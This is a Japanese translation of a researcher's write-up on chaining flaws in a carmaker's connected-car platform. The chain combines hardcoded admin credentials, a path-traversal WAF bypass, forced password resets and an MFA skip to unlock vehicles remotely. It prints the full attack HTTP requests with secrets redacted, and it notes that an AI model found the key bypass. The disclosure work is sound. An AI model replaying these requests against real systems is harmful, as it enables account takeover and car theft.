Xブランドのあらゆる車を世界中のほとんどの場所で解錠可能に
Unlocking any car from X brand in most of the world (shubs.io)
要約
この記事では、自動車メーカーのコネクテッドカープラットフォームにおける重大な脆弱性が発見された経緯が詳述されています。JavaScriptバンドル内のハードコードされた管理者認証情報、パス・トラバーサルを用いたWAF回避、MFAバイパスなどを連鎖させることで、オーストラリア、米国、カナダの同ブランドの車両を、ナンバープレート情報のみから遠隔操作(解錠など)できることが明らかになりました。
全文翻訳
Xブランドのあらゆる車を世界中のほとんどの場所で解錠可能に
2026年11月7日
私はこの特定の自動車ブランドに昔から特別な思い入れがあります。家族は何年にもわたり数台を所有しており、非常に良く機能してくれました。2023年、私はこのブランドから新しい四輪駆動/SUVを購入し、初めてコネクテッドカープラットフォームにアクセスできるようになりました。
以前にもこのようなプラットフォームを見たことがあったので(過去の成果)、そのセキュリティがどれほど強固なのか懐疑的でした。何かあると疑っていましたが、生活に追われて実際に調べる時間がありませんでした。今年の7月、Sam Curryと協力して、大手自動車メーカーのコネクテッドカーシステムのセキュリティを調査しました。この記事では、彼らを「自動車メーカー」と呼びます。
車のハッキングと聞くと、ハードウェアの側面を思い浮かべがちですが、私の専門はインターネットに公開されているWebアプリケーションやインフラストラクチャの侵害です。ハードウェアの部品がどうであれ、すべては設計上インターネットからアクセス可能でなければならないサービスに接続されています。
旅は単純な疑問から始まりました。「車のリモートロックを解除するとき、アプリはどのインフラストラクチャと通信するのだろうか?」これを突き止めるために、APKをダウンロードして逆コンパイルし、最終的に行われているAPIリクエストを再構築しました。
コードを調べたところ、主要な連絡先は *.redacted-telematics.com.au のアセットのようでした。
dartExecutor.executeDartEntrypoint(createDefault, CollectionsKt.r(gson.toJson(new GlobalConfigParams(false, g11, com.redacted.app.xcapp.a.f69866f, "X", str)), new Gson().toJson(new ApiConfig("https://api.redacted-telematics.com.au", "https://api.redacted-telematics.com.au", "https://api.redacted-telematics.com.au" ...
コンシューマーアプリケーションのほぼ全ての部分が redacted-telematics.com.au にコールバックしていました。このドメインの下には他に何が存在するのでしょうか?
管理ツール
コネクテッドカーインフラストラクチャの運用は非常に複雑になる可能性があり、管理には、顧客にクリーンな体験を提供するために、管理ツール、ステージング、開発、QA環境の組み合わせが必要です。それらすべてが公開インターネット上にあり、基本的な偵察を行う意思のある人なら誰でもアクセスできるべきかどうかは、別の話です。
数あるアセットの中でも、一つが私の注意を引きました。admintool.redacted-telematics.com.au は TEST HARNESS というタイトルのページを返しました。admintool というサブドメインに抵抗できる人がいるでしょうか?
このサブドメインにアクセスすると、非常にシンプルでグレーなログイン画面が表示されました。ログインする前にログアウトボタンが表示されるなど、品質の高さを感じさせるものではありませんでした。
ほとんどのシングルページアプリケーションは、ログインページを表示するだけで十分な場合でも、JavaScriptバンドル全体を出荷するのが好きです。もちろん、よりモダンなフレームワークはJavaScriptファイルを分割して必要なものだけを提供するようになっていますが、この場合、この「管理ツール」が実際に何ができるのかを理解するために、大きなJavaScriptバンドルを調べることができます。
[画像: 品質を滲ませる]
品質を滲ませる
[画像: JavaScriptバンドルを読むのは誰だ?]
誰がJavaScriptバンドルを読むだろうか?
この管理ツールはかなりのことができることが判明しました。自動車メーカーの従業員が顧客アカウントや本番車両を非常に少ない制限で操作できる、豊富なAPIを持っていました。リクエストを再構築したところ、これらのAPIの多くは、JavaScriptバンドル内に存在するハードコードされたAPIキー以上の認証を必要としませんでした。
例えば、メールアドレスでユーザーアカウントを検索できました。
[画像: ユーザーアカウント検索]
しかし、それでは十分ではありません。ナンバープレートを知っているだけで、彼らの車を解錠したいのであれば、もっと良い方法を見つける必要があります。
オーストラリアでは、ナンバープレートがあれば、州ベースの登録検索サイトを通じてVIN(車両識別番号)を比較的容易に入手できます。
これはセキュリティ上の欠陥というわけではありません。中古車を購入する前に、車の実際の修理歴や保険歴を確認するなど、VINを知りたい正当な理由はたくさんあります。もしVINから加入者またはメールアドレスにたどり着くことができれば、チェーンを完成させることができます。
幸いなことに、まさにそれを行うAPIがありました。
[画像: VINから加入者GUIDを取得]
加入者GUIDがあれば、(/v1/account エンドポイント経由でユーザーのメールアドレスを含む)完全なアカウント詳細を取得できました。
[画像: 加入者GUIDからアカウント情報取得]
さて、チェーンの最初の部分が整理できたようです。プレート -> VIN -> 加入者GUID -> 自動車メーカーのIDプラットフォーム(ForgeRock OpenIDM)に登録されたユーザーアカウントのPII(メールアドレス)。
では、どのようにして任意の車にコマンドを送信できるのでしょうか?この管理ツールでそれができるはずですよね?残念ながら、できませんでした。車の機能プロビジョニング、ユーザーアカウントへのセカンダリユーザーとしての追加、リモートアクセスコードの生成さえも可能でした。しかし、それらの機能のどれも、車両のリモートコントロールにはつながりませんでした。
IDプラットフォーム
Samと私はその後2週間かけて、自動車メーカーが中央IDシステムをどのように管理しているか、使用しているソフトウェア、コマンドの発行方法、消費者の認証方法を調査しました。
ユーザーが自動車メーカーのモバイルアプリの認証フローを通過すると、login.redacted-identity.com.au にリクエストが送信され、MFAフローを経た後、最終的にコンシューマー認証トークンが発行されます。この認証トークンは、その後 api.redacted-telematics.com.au(REST APIとGraphQLの両方)へのリクエストに使用されます。この認証トークンを取得すると、ほぼゲームオーバーです。ユーザーの車を制御できます(リモートロック/アンロック、ホーン、エンジンなど)。
したがって、任意のユーザーのトークンを発行できれば、最終的に誰のコネクテッドカーでも制御できるようになります。これが私たちが目指したアプローチです。
自動車メーカーはForgeRockのIDソフトウェア(OpenAM/OpenIDM)を多用しています。これが認証メカニズムの基盤となっています。*.redacted-identity.com.au のサブドメインを調べたところ、openidm.redacted-identity.com.au にOpenIDMインスタンスをすぐに見つけました。これは、自動車メーカーのコネクテッドカープラットフォームに登録されているすべてのIDを管理するシステムです。
*.redacted-telematics.com.au のJavaScriptファイル群を調べていたときに、OpenIDMの管理者認証情報を埋め込んだ、非常に奇妙なベンダーJavaScriptバンドルを発見し、すべてが繋がりました。
[画像: OpenIDM管理者認証情報]
これらの管理者認証情報はステージング環境用でしたが、これまでの状況から、本番環境でも機能するだろうと確信していました。
WAFとの戦い
OpenIDMを詳しく調べましたが、自動車メーカーがその脆弱性を認識していたかどうかは分かりませんでした。しかし、一つ明らかなことがありました。ForgeRockが通常 /openidm/* 経由で呼び出しを許可している機密APIへのアクセスをブロックするために、WAFルールに多額の投資をしていたことです。
[画像: WAFブロック]
オリジンIPがあっても、/openidm/ へのリクエストはすべてNginx WAFブロックとして返されました。誰かがこれらのアセットを強化するために真剣な努力をしていました(外部からアクセス可能であるにもかかわらず)。
それはもっともなことで、強化には敬意を表します。しかし、それほどのWAF投資は、通常、既知の悪いものの上に絆創膏を貼っていることを意味します。彼らはおそらく、このアセットが公開されていることのまずさを理解していたのでしょうが、何らかのビジネス上の理由でそのままにしていました。
意欲さえあれば、WAFルールが私たちを止めたことは一度もないと思いますので、信頼できるパス・トラバーサル(path traversal)のトリックを使って、これらの保護から抜け出す方法を見つけるために数日を費やしました。どれほど難しいでしょうか?
JavaScriptバンドル内で見つけた管理者認証情報の検証は、それほど難しくありませんでした。オーストラリアのOpenIDMインスタンスには、/XUI/ や /UI/ のようないくつかのパスがホワイトリストに登録されており、パス・トラバーサル文字はブロックされていなかったので、/XUI/..%2fopenidm/endpoint のような単純なものでも、少なくとも部分的に機能するように見えました。
[画像: 管理者認証情報が本番で機能することを確認]
少なくとも、認証情報が本番で機能することは確認できました。
しかし、そんなに単純なわけがないですよね?OpenIDMがルーティングを処理する方法の癖のため、パス・トラバーサルは /openidm/ 以下のエンドポイントには到達できませんでした。すべてのエンドポイントは次のようにエラーになりました。
[画像: エラーメッセージ]
ああ、あと少しなのに?!
OpenIDMの世界では、パス・トラバーサルを含むパスに対して登録されたサーブレット(またはリソース)はありませんでした。そのため、管理者JWTを発行したにもかかわらず、エラーになりました。
私たちはこれに非常に苛立ちました。ルーティングメカニズムの単純な癖(おそらくセキュリティ上の考慮事項として設計されたものではない)が、攻撃チェーン全体が機能するのを妨げていました。私たちは数日間不満を抱え、パス・トラバーサルはうまくいかないだろうと考えました。他のエンドポイント(例:ユーザーアップロード)もいくつか見つけましたが、別の癖、サーブレットパスチェックにより、それらを意味のある方法で使用することはできませんでした。
これらすべてが、別の疑問を抱かせました。なぜこれらのOpenIDMインスタンスを外部に公開するのか?インターネットに公開されているこれらのアセットには、正当なユースケースがあるはずではないでしょうか?私たちは収集したJavaScriptバンドルに戻り、OpenIDMへの通信を検索しました。逆コンパイルしたAndroidアプリケーションに目を向け、次のものを見つけました。
[画像: エンドポイントのホワイトリスト?]
これは明らかに、Androidアプリからアクセス可能なOpenIDMアセット内のエンドポイントでした。では、WAFの邪魔なしにアクセスできるのでしょうか?
/openidm/endpoint/aaa-> 403 WAFブロック/openidm/endpoint/pinService-> 404、WAFブロックなし
興味深い!
他にどのようなカスタムエンドポイントが存在するのでしょうか?非常に軽いブルートフォースと推測により、すぐに getUser エンドポイントを見つけました。パラメータを推測したところ、mail、guid、phone を受け入れることがわかりました。管理者認証情報と組み合わせると、これは実際に何ができるのでしょうか?
[画像: パスワードハッシュとPIIを取得]
ヤバい。
レスポンスにはパスワードハッシュ、PINコードハッシュ、モバイルプッシュトークン、そして携帯電話番号やフルネームなどのPIIが含まれていました。このエンドポイントにはWAFブロックがなかったため、パス・トラバーサルは不要で、正しいサーブレットが応答しました。
誤解しないでください、これはすでにかなり影響力がありました。しかし、パスワードはPBKDF2-SHA512でハッシュされており、成功の保証なしに、アンロックごとにハッシュクラッキングリグで時間をかける必要があるというのは、少し期待外れに感じられました。
再び原点に戻ります。パス・トラバーサルを使用して /openidm/managed/user サーブレットにアクセスし、かつOpenIDMにパスを認識させるにはどうすればよいでしょうか?私たちはテスト対象のバージョンに最も近いOpenIDMソースを取得し、GPT 5.6 Sol Ultraに6時間かけて解析させました。
成功しました。Samと私は両方とも、この幼稚な制限を自分で手動でバイパスしようと時間を費やしましたが、すべての可能な組み合わせを試したわけではありませんでした。
Samと私が /XUI%2f..%2fopenidm/ を試したとき、ハードな403エラーになりました。人間である私たちは、それがすべてのプレフィックスに適用されると仮定しました。GPT 5.6が見つけたのは、/static%2f..%2fopenidm/ はWAFで全くカバーされておらず、サーブレットの混乱問題なしにOpenIDM APIを提供してくれるということでした。
アカウントの乗っ取り
このバイパスにより、アカウントの乗っ取りは容易になりました。任意のユーザープロファイルの新しいパスワードをPATCHできました。
PATCH /static%2f..%2fopenidm/managed/user/f7ba554REDACTED HTTP/1.1
Host: openidm.redacted-identity.com.au
X-OpenIDM-Username: idmadmin
X-OpenIDM-Password: REDACTED
X-OpenIDM-NoSession: true
Content-Type: application/json
If-Match: "0000000abc123..."
Cache-Control: no-store
Accept: application/json
[{"operation":"replace","field":"/password","value":"Testing123!"}]
これに対するレスポンスは次のとおりでした。
> HTTP/1.1 200 OK
> {"_id":"f7ba554REDACTED","_rev":"0000000def456..."}
OK、これで任意のユーザーのパスワードを上書きできることがわかりました。しかし、多要素認証(MFA)はどうでしょうか?
MFAのスキップ
さて、自動車メーカーのオーストラリア環境には、もう一つ設定ミスがありました。多要素認証ステップは完全にスキップできるのです。まず、login.redacted-identity.com.au からResource Owner Password Credentialsグラントを使用して認証トークンを要求しました。これにより、コンシューマーアプリで利用できるトークンに交換できるクリーンなid_tokenが返されました。
POST /oauth2/realms/root/realms/REDACTED/access_token HTTP/1.1
Host: login.redacted-identity.com.au
Content-Type: application/x-www-form-urlencoded
grant_type=password&[email protected]&password=Testing123!&client_id=REDACTED_PORTAL&client_secret=REDACTED
> HTTP/1.1 200 OK
> {
> "access_token": "...",
> "id_token": "eyJ0eXAiOiJKV1Qi...",
> "token_type": "Bearer",
> "expires_in": 3599
> }
それを取得し、ステップ2に進み、最初のトークンをセッションと交換しました。
POST /json/realms/REDACTED/authenticate?authIndexType=service&authIndexValue=IDTokenROPC HTTP/1.1
Host: login.redacted-identity.com.au
Content-Type: application/json
Accept: application/json
Accept-API-Version: resource=2.0, protocol=1.0
idtoken: eyJ0eXAiOiJKV1Qi...
> HTTP/1.1 200 OK
> {
> "tokenId": "AQIC5wM2LY4Sfcy...*",
> "successUrl": "/openam/console",
> "realm": "/REDACTED"
> }
最後に、モバイルアプリのアクセストークンとのトークン交換を実行しました。
POST /oauth2/realms/root/realms/REDACTED/authorize HTTP/1.1
Host: login.redacted-identity.com.au
Content-Type: application/x-www-form-urlencoded
Accept-API-Version: resource=2.1, protocol=1.0
x-fr-version: 2025.05.05
Authorization: Basic <REDACTED>
iPlanetDirectoryPro: AQIC5wM2LY4Sfcy...*
Cookie: iPlanetDirectoryPro=AQIC5wM2LY4Sfcy...*
client_id=REDACTED_APP&redirect_uri=com.redacted.app:/oauth2Callback&scope=openid%20profile%20write&response_type=code&state=<state>&code_challenge=<S256_challenge>&code_challenge_method=S256&decision=allow&csrf=AQIC5wM2LY4Sfcy...*
> HTTP/1.1 302 Found
> Location: com.redacted.app:/oauth2Callback?code=<authorization_code>&state=<state>
POST /oauth2/realms/root/realms/REDACTED/access_token HTTP/1.1
Host: login.redacted-identity.com.au
Content-Type: application/x-www-form-urlencoded
Accept-API-Version: resource=2.1, protocol=1.0
Authorization: Basic <REDACTED>
grant_type=authorization_code&code=<authorization_code>&redirect_uri=com.redacted.app:/oauth2Callback&client_id=REDACTED_APP&code_verifier=<pkce_verifier>
> HTTP/1.1 200 OK
> {
> "access_token": "<app_access_token>",
> "refresh_token": "...",
> "token_type": "Bearer",
> "scope": "openid profile write",
> "expires_in": 3599
> }
非常に複雑です、知っています。OAuthは時に非常に難しいです。しかし、これらのステップにより、自動車メーカーのコネクテッドカーアプリの任意のユーザーの多要素認証をバイパスすることができました。
車の解錠
この時点で、オーストラリアの自動車メーカーの車を解錠することに非常に近づいていました。残っているのは、アプリトークンを使用してコマンドAPIリクエストを発行することだけでした。
POST /v1/remote/route/command HTTP/1.1
Host: api.redacted-telematics.com.au
Authorization: Bearer <app_access_token>
X-API-KEY: REDACTED
X-GUID: f7ba554REDACTED
X-BRAND: REDACTED
X-APPBRAND: REDACTED
X-CHANNEL: REDACTED
X-LOCALE: en-AU
X-APPVERSION: REDACTED
X-OSNAME: Android
X-OSVERSION: 14
X-DEVICE-TIMEZONE: AEST
X-CORRELATIONID: 6f1a2b3c-4d5e-6f70-8192-a3b4c5d6e7f8
X-GENERATION: REDACTED
VIN: XXXXXXXXXXXXXXXXX
Content-Type: application/json
Accept: application/json
User-Agent: okhttp/4.12.0
{"command": "door-unlock", "autoFixPopup": false, "beepCount": null}
そして、魔法のようにドアが解錠されました。
私たちは明らかに、すべて自分自身が所有していたり、操作する許可を得ていた車で行いました。
しかし、一歩下がって、私たちがここで達成したことを考えてみましょう。ナンバープレートを知っているだけで、オーストラリアの自動車メーカーの車両のいずれかにコマンドを送信することができました。最終的なチェーンは次のようになりました。
プレート -> VIN -> 加入者GUID -> JSベンダーバンドル内のOpenIDM管理者認証情報 -> WAFをバイパスするためのパス・トラバーサル -> ROPCフローによるMFAバイパス -> コンシューマーアプリトークンの発行 -> リモートコマンドAPI。
午前0時、完全なチェーンが最終的にまとまったとき、スクリプトの実行の短いビデオを撮りました。洗練されてはいませんが、すべてが機能するのを見るのは魔法のようでした。私は間違いなくこのような困難な挑戦のために生きています。
[動画: スクリプト実行のデモ]
0:00
/0:57
[画像: 成功の証拠]
あなたは不思議に思うかもしれません。「Shubs、世界のあらゆる車と言ったのに、これはオーストラリアだけじゃないか?どういうことだ?」
Samと私が協力して取り組んだ、はるかに複雑なチェーンがあります。彼はそれを彼のブログで公開しています。オーストラリア向けに行った手順よりも多くの作業が必要でした。なぜなら、自動車メーカーは米国、カナダ、ヨーロッパのOpenIDM環境の保護により多くの時間を費やしていたからです。
最終的に、両方のレポートを合わせると、オーストラリア、米国、カナダの自動車メーカーの車両のいずれかに対して、解錠やエンジンの始動などのリモートコマンドを送信できるようになりました。